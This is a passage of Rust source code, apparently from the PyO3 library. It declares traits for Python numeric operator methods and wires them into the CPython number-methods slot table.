PyNumberIXorProtocol<'p>, { unimplemented!() } fn __ior__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIOrProtocol<'p>, { unimplemented!() } // Unary arithmetic fn __neg__(&'p self) -> Self::Result where Self: PyNumberNegProtocol<'p>, { unimplemented!() } fn __pos__(&'p self) -> Self::Result where Self: PyNumberPosProtocol<'p>, { unimplemented!() } fn __abs__(&'p self) -> Self::Result where Self: PyNumberAbsProtocol<'p>, { unimplemented!() } fn __invert__(&'p self) -> Self::Result where Self: PyNumberInvertProtocol<'p>, { unimplemented!() } fn __complex__(&'p self) -> Self::Result where Self: PyNumberComplexProtocol<'p>, { unimplemented!() } fn __int__(&'p self) -> Self::Result where Self: PyNumberIntProtocol<'p>, { unimplemented!() } fn __float__(&'p self) -> Self::Result where Self: PyNumberFloatProtocol<'p>, { unimplemented!() } fn __round__(&'p self) -> Self::Result where Self: PyNumberRoundProtocol<'p>, { unimplemented!() } fn __index__(&'p self) -> Self::Result where Self: PyNumberIndexProtocol<'p>, { unimplemented!() } } pub trait PyNumberAddProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberSubProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberMulProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberMatmulProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberTruedivProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberFloordivProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberModProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberDivmodProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberPowProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Modulo: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberLShiftProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRShiftProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberAndProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberXorProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberOrProtocol<'p>: PyNumberProtocol<'p> { type Left: FromPyObject<'p>; type Right: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRAddProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRSubProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRMulProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRMatmulProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRTruedivProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRFloordivProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRModProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRDivmodProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRPowProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Modulo: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRLShiftProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRRShiftProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRAndProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRXorProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberROrProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberIAddProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberISubProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIMulProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIMatmulProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberITruedivProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIFloordivProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIModProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIDivmodProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIPowProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Modulo: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberILShiftProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIRShiftProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIAndProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIXorProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberIOrProtocol<'p>: PyNumberProtocol<'p> { type Other: FromPyObject<'p>; type Result: Into<PyResult<()>>; } pub trait PyNumberNegProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberPosProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberAbsProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberInvertProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberComplexProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberIntProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberFloatProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberRoundProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } pub trait PyNumberIndexProtocol<'p>: PyNumberProtocol<'p> { type Success: IntoPy<PyObject>; type Result: Into<PyResult<Self::Success>>; } #[doc(hidden)] pub trait PyNumberProtocolImpl: PyObjectProtocolImpl { fn methods() -> Vec<PyMethodDef>; fn tp_as_number() -> Option<ffi::PyNumberMethods>; } impl<'p, T> PyNumberProtocolImpl for T { default fn methods() -> Vec<PyMethodDef> { Vec::new() } default fn tp_as_number() -> Option<ffi::PyNumberMethods> { if let Some(nb_bool) = <Self as PyObjectProtocolImpl>::nb_bool_fn() { let meth = ffi::PyNumberMethods { nb_bool: Some(nb_bool), ..ffi::PyNumberMethods_INIT }; Some(meth) } else { None } } } impl<'p, T> PyNumberProtocolImpl for T where T: PyNumberProtocol<'p>, { fn tp_as_number() -> Option<ffi::PyNumberMethods> { Some(ffi::PyNumberMethods { nb_add: Self::nb_add(), nb_subtract: Self::nb_subtract(), nb_multiply: Self::nb_multiply(), nb_remainder: Self::nb_remainder(), nb_divmod: Self::nb_divmod(), nb_power: Self::nb_power(), nb_negative: Self::nb_negative(), nb_positive: Self::nb_positive(), nb_absolute: Self::nb_absolute(), nb_bool: <Self as PyObjectProtocolImpl>::nb_bool_fn(), nb_invert: Self::nb_invert(), nb_lshift: Self::nb_lshift(), nb_rshift: Self::nb_rshift(), nb_and: Self::nb_and(), nb_xor: Self::nb_xor(), nb_or: Self::nb_or(), nb_int: Self::nb_int(), nb_reserved: ::std::ptr::null_mut(), nb_float: Self::nb_float(), nb_inplace_add: Self::nb_inplace_add(), nb_inplace_subtract: Self::nb_inplace_subtract(), nb_inplace_multiply: Self::nb_inplace_multiply(), nb_inplace_remainder: Self::nb_inplace_remainder(), nb_inplace_power: Self::nb_inplace_power(), nb_inplace_lshift: Self::nb_inplace_lshift(), nb_inplace_rshift: Self::nb_inplace_rshift(), nb_inplace_and: Self::nb_inplace_and(), nb_inplace_xor: Self::nb_inplace_xor(), nb_inplace_or: Self::nb_inplace_or(), nb_floor_divide: Self::nb_floor_divide(), nb_true_divide: Self::nb_true_divide(), nb_inplace_floor_divide: Self::nb_inplace_floor_divide(), nb_inplace_true_divide: Self::nb_inplace_true_divide(), nb_index: Self::nb_index(), nb_matrix_multiply: Self::nb_matrix_multiply(), nb_inplace_matrix_multiply: Self::nb_inplace_matrix_multiply(), }) } #[inline] fn methods() -> Vec<PyMethodDef> { let mut methods = Vec::new(); if let Some(def) = <Self as PyNumberRAddProtocolImpl>::__radd__() { methods.push(def) } if let Some(def) = <Self as PyNumberRSubProtocolImpl>::__rsub__() { methods.push(def) } if let Some(def) = <Self as PyNumberRMulProtocolImpl>::__rmul__() { methods.push(def) } if let Some(def) = <Self as PyNumberRMatmulProtocolImpl>::__rmatmul__() { methods.push(def) } if let Some(def) = <Self as PyNumberRTruedivProtocolImpl>::__rtruediv__() { methods.push(def) } if let Some(def) = <Self as PyNumberRFloordivProtocolImpl>::__rfloordiv__() { methods.push(def) } if let Some(def) = <Self as PyNumberRModProtocolImpl>::__rmod__() { methods.push(def) } if let Some(def) = <Self as PyNumberRDivmodProtocolImpl>::__rdivmod__() { methods.push(def) } if let Some(def) = <Self as PyNumberRPowProtocolImpl>::__rpow__() { methods.push(def) } if let Some(def) = <Self as PyNumberRLShiftProtocolImpl>::__rlshift__() { methods.push(def) } if let Some(def) = <Self as PyNumberRRShiftProtocolImpl>::__rrshift__() { methods.push(def) } if let Some(def) = <Self as PyNumberRAndProtocolImpl>::__rand__() { methods.push(def) } if let Some(def) = <Self as PyNumberRXorProtocolImpl>::__rxor__() { methods.push(def) } if let Some(def) = <Self as PyNumberROrProtocolImpl>::__ror__() { methods.push(def) } if let Some(def) = <Self as PyNumberComplexProtocolImpl>::__complex__() { methods.push(def) } if let Some(def) = <Self as PyNumberRoundProtocolImpl>::__round__() { methods.push(def) } methods } } trait PyNumberAddProtocolImpl { fn nb_add() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberAddProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_add() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberAddProtocolImpl for T where T: for<'p> PyNumberAddProtocol<'p>, { fn nb_add() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberAddProtocol, T::__add__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberSubProtocolImpl { fn nb_subtract() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberSubProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_subtract() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberSubProtocolImpl for T where T: for<'p> PyNumberSubProtocol<'p>, { fn nb_subtract() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberSubProtocol, T::__sub__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberMulProtocolImpl { fn nb_multiply() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberMulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_multiply() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberMulProtocolImpl for T where T: for<'p> PyNumberMulProtocol<'p>, { fn nb_multiply() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberMulProtocol, T::__mul__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberMatmulProtocolImpl { fn nb_matrix_multiply() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberMatmulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_matrix_multiply() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberMatmulProtocolImpl for T where T: for<'p> PyNumberMatmulProtocol<'p>, { fn nb_matrix_multiply() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberMatmulProtocol, T::__matmul__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberTruedivProtocolImpl { fn nb_true_divide() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberTruedivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_true_divide() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberTruedivProtocolImpl for T where T: for<'p> PyNumberTruedivProtocol<'p>, { fn nb_true_divide() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberTruedivProtocol, T::__truediv__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberFloordivProtocolImpl { fn nb_floor_divide() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberFloordivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_floor_divide() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberFloordivProtocolImpl for T where T: for<'p> PyNumberFloordivProtocol<'p>, { fn nb_floor_divide() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberFloordivProtocol, T::__floordiv__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberModProtocolImpl { fn nb_remainder() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberModProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_remainder() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberModProtocolImpl for T where T: for<'p> PyNumberModProtocol<'p>, { fn nb_remainder() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberModProtocol, T::__mod__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberDivmodProtocolImpl { fn nb_divmod() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberDivmodProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_divmod() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberDivmodProtocolImpl for T where T: for<'p> PyNumberDivmodProtocol<'p>, { fn nb_divmod() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberDivmodProtocol, T::__divmod__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberPowProtocolImpl { fn nb_power() -> Option<ffi::ternaryfunc>; } impl<'p, T> PyNumberPowProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_power() -> Option<ffi::ternaryfunc> { None } } impl<T> PyNumberPowProtocolImpl for T where T: for<'p> PyNumberPowProtocol<'p>, { fn nb_power() -> Option<ffi::ternaryfunc> { py_ternary_num_func!( PyNumberPowProtocol, T::__pow__, <T as PyNumberPowProtocol>::Success, PyObjectCallbackConverter ) } } trait PyNumberLShiftProtocolImpl { fn nb_lshift() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberLShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_lshift() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberLShiftProtocolImpl for T where T: for<'p> PyNumberLShiftProtocol<'p>, { fn nb_lshift() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberLShiftProtocol, T::__lshift__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberRShiftProtocolImpl { fn nb_rshift() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberRShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_rshift() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberRShiftProtocolImpl for T where T: for<'p> PyNumberRShiftProtocol<'p>, { fn nb_rshift() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberRShiftProtocol, T::__rshift__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberAndProtocolImpl { fn nb_and() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberAndProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_and() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberAndProtocolImpl for T where T: for<'p> PyNumberAndProtocol<'p>, { fn nb_and() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberAndProtocol, T::__and__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberXorProtocolImpl { fn nb_xor() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberXorProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_xor() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberXorProtocolImpl for T where T: for<'p> PyNumberXorProtocol<'p>, { fn nb_xor() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberXorProtocol, T::__xor__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberOrProtocolImpl { fn nb_or() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberOrProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_or() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberOrProtocolImpl for T where T: for<'p> PyNumberOrProtocol<'p>, { fn nb_or() -> Option<ffi::binaryfunc> { py_binary_num_func!( PyNumberOrProtocol, T::__or__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberIAddProtocolImpl { fn nb_inplace_add() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIAddProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_add() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIAddProtocolImpl for T where T: for<'p> PyNumberIAddProtocol<'p>, { fn nb_inplace_add() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIAddProtocol, T::__iadd__) } } trait PyNumberISubProtocolImpl { fn nb_inplace_subtract() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberISubProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_subtract() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberISubProtocolImpl for T where T: for<'p> PyNumberISubProtocol<'p>, { fn nb_inplace_subtract() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberISubProtocol, T::__isub__) } } trait PyNumberIMulProtocolImpl { fn nb_inplace_multiply() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIMulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_multiply() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIMulProtocolImpl for T where T: for<'p> PyNumberIMulProtocol<'p>, { fn nb_inplace_multiply() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIMulProtocol, T::__imul__) } } trait PyNumberIMatmulProtocolImpl { fn nb_inplace_matrix_multiply() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIMatmulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_matrix_multiply() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIMatmulProtocolImpl for T where T: for<'p> PyNumberIMatmulProtocol<'p>, { fn nb_inplace_matrix_multiply() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIMatmulProtocol, T::__imatmul__) } } trait PyNumberITruedivProtocolImpl { fn nb_inplace_true_divide() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberITruedivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_true_divide() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberITruedivProtocolImpl for T where T: for<'p> PyNumberITruedivProtocol<'p>, { fn nb_inplace_true_divide() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberITruedivProtocol, T::__itruediv__) } } trait PyNumberIFloordivProtocolImpl { fn nb_inplace_floor_divide() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIFloordivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_floor_divide() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIFloordivProtocolImpl for T where T: for<'p> PyNumberIFloordivProtocol<'p>, { fn nb_inplace_floor_divide() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIFloordivProtocol, T::__ifloordiv__) } } trait PyNumberIModProtocolImpl { fn nb_inplace_remainder() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIModProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_remainder() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIModProtocolImpl for T where T: for<'p> PyNumberIModProtocol<'p>, { fn nb_inplace_remainder() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIModProtocol, T::__imod__) } } trait PyNumberIPowProtocolImpl { fn nb_inplace_power() -> Option<ffi::ternaryfunc>; } impl<'p, T> PyNumberIPowProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_power() -> Option<ffi::ternaryfunc> { None } } impl<T> PyNumberIPowProtocolImpl for T where T: for<'p> PyNumberIPowProtocol<'p>, { fn nb_inplace_power() -> Option<ffi::ternaryfunc> { py_ternary_self_func!(PyNumberIPowProtocol, T::__ipow__) } } trait PyNumberILShiftProtocolImpl { fn nb_inplace_lshift() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberILShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_lshift() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberILShiftProtocolImpl for T where T: for<'p> PyNumberILShiftProtocol<'p>, { fn nb_inplace_lshift() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberILShiftProtocol, T::__ilshift__) } } trait PyNumberIRShiftProtocolImpl { fn nb_inplace_rshift() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIRShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_rshift() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIRShiftProtocolImpl for T where T: for<'p> PyNumberIRShiftProtocol<'p>, { fn nb_inplace_rshift() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIRShiftProtocol, T::__irshift__) } } trait PyNumberIAndProtocolImpl { fn nb_inplace_and() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIAndProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_and() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIAndProtocolImpl for T where T: for<'p> PyNumberIAndProtocol<'p>, { fn nb_inplace_and() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIAndProtocol, T::__iand__) } } trait PyNumberIXorProtocolImpl { fn nb_inplace_xor() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIXorProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_xor() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIXorProtocolImpl for T where T: for<'p> PyNumberIXorProtocol<'p>, { fn nb_inplace_xor() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIXorProtocol, T::__ixor__) } } trait PyNumberIOrProtocolImpl { fn nb_inplace_or() -> Option<ffi::binaryfunc>; } impl<'p, T> PyNumberIOrProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_inplace_or() -> Option<ffi::binaryfunc> { None } } impl<T> PyNumberIOrProtocolImpl for T where T: for<'p> PyNumberIOrProtocol<'p>, { fn nb_inplace_or() -> Option<ffi::binaryfunc> { py_binary_self_func!(PyNumberIOrProtocol, T::__ior__) } } #[doc(hidden)] pub trait PyNumberRAddProtocolImpl { fn __radd__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRAddProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __radd__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRSubProtocolImpl { fn __rsub__() -> Option<PyMethodDef> { None } } impl<'p, T> PyNumberRSubProtocolImpl for T where T: PyNumberProtocol<'p> {} #[doc(hidden)] pub trait PyNumberRMulProtocolImpl { fn __rmul__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRMulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rmul__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRMatmulProtocolImpl { fn __rmatmul__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRMatmulProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rmatmul__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRTruedivProtocolImpl { fn __rtruediv__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRTruedivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rtruediv__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRFloordivProtocolImpl { fn __rfloordiv__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRFloordivProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rfloordiv__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRModProtocolImpl { fn __rmod__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRModProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rmod__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRDivmodProtocolImpl { fn __rdivmod__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRDivmodProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rdivmod__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRPowProtocolImpl { fn __rpow__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRPowProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rpow__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRLShiftProtocolImpl { fn __rlshift__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRLShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rlshift__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRRShiftProtocolImpl { fn __rrshift__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRRShiftProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rrshift__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRAndProtocolImpl { fn __rand__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRAndProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rand__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberRXorProtocolImpl { fn __rxor__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRXorProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __rxor__() -> Option<PyMethodDef> { None } } #[doc(hidden)] pub trait PyNumberROrProtocolImpl { fn __ror__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberROrProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __ror__() -> Option<PyMethodDef> { None } } trait PyNumberNegProtocolImpl { fn nb_negative() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberNegProtocolImpl for T where T: 